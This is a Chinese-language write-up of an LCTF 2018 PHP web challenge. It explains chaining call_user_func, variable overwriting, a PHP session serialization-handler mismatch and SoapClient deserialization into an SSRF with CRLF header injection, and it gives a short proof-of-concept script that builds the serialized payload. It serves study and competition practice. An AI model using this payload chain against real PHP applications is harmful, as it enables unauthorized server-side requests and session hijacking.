Background

还是备战接下来的比赛,刷题把以前自己并没有刨根的题目挖出来,然后自己分析做,做到实在不会再参照wp

分析

知识点分析:
call_user_func函数
变量覆盖
php序列化引擎
ssrf
CRLF注入

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> 

第一个call_user_fuc可控 session可控,感觉像session反序列化
刚开始觉得都给call_user_func了,为啥不直接命令执行,后来发现我太年轻了
但call_user_func 还是有值得一提的东西的
但如果传入的参数,是一个数组,且数组的第一个值是一个类的名字,或一个对象,那么,就会把数组的第二个值,当做方法,然后执行。
7364ED3E-9F45-4E24-AA49-778E4A39825B.png
在flag.php发现这么一句话

only localhost can get flag!session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag!

严格要求127.0.0.1访问 -> ssrf flag写在session里 index.php里面还打印了session值
明白首先要ssrf访问flag.php把它带到session里面打印出来
我们该如何进行反序列化
在如何操作前先说下php的序列化引擎
3B12925B-F2AC-4930-A916-F40E308AE19F.png
这里面引用一位师傅描述的

配置选项 session.serialize_handler,通过该选项可以设置序列化及反序列化时使用的处理器。

如果PHP在反序列化存储的$_SEESION数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的伪造,甚至可以伪造任意数据。

当存储是php_serialize处理,然后调用时php去处理,如果这时注入的数据时a=|O:4:"test":0:{},那么session中的内容是a:1:{s:1:"a";s:16:"|O:4:"test":0:{}";},那么a:1:{s:1:"a";s:16:"会被php解析成键名,后面就是一个test对象的注入。
这时候我们的call_user_func就发挥作用了

我们可以设置 ['serialize_handler'=>'php_serialize']

这里面的知识点最核心的方法就是soap
soap是php的原生类
参考文章:https://www.anquanke.com/post/id/153065#h2-1
里面也详谈了soap和CRLF可以写入头
用到了soap的_call方法 那么如何触发_call方法呢

题中可以先用extract()将b覆盖成call_user_func(),reset($_SESSION)就是$_SESSION['name'],我们可以传入name=SoapClient,那么最后call_user_func($b, $a)就变成call_user_func(array('SoapClient','welcome_to_the_lctf2018')),call_user_func(SoapClient->welcome_to_the_lctf2018),由于SoapClient类中没有welcome_to_the_lctf2018这个方法,就会调用魔术方法__call()从而发送请求
所以我们要利用crlf请求去访问flag.php并将结果保存在cookie的session中。然后替换 利用var_dump($SESSION)出得 拿到flag
poc:

<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "T4rn\r\nCookie: PHPSESSID=xxxxx\r\n",
    'uri' => "123"));
$payload = urlencode(serialize($attack));
echo "|".$payload;

设置serialize解析器
F50F65BD-7733-4A07-86A4-31FC9E601F06.png
反序列化调用soap触发_call方法
8FD6ACB2-F97A-4073-A86B-872E48CF1E44.png
替换返回session即可
D6DCEC4A-082E-4F09-8FFC-E6E1298DEC63.png
我们回顾下我们的知识点 首先我们想到反序列化想到怎么注入数据和怎么触发,触发我们想到更换serialize解析引擎,注入数据我们想到调用SoapClient的__call方法的CRLF注入头部
而细小的知识点 包括变量覆盖,包括我前面提到的小demo都值得学习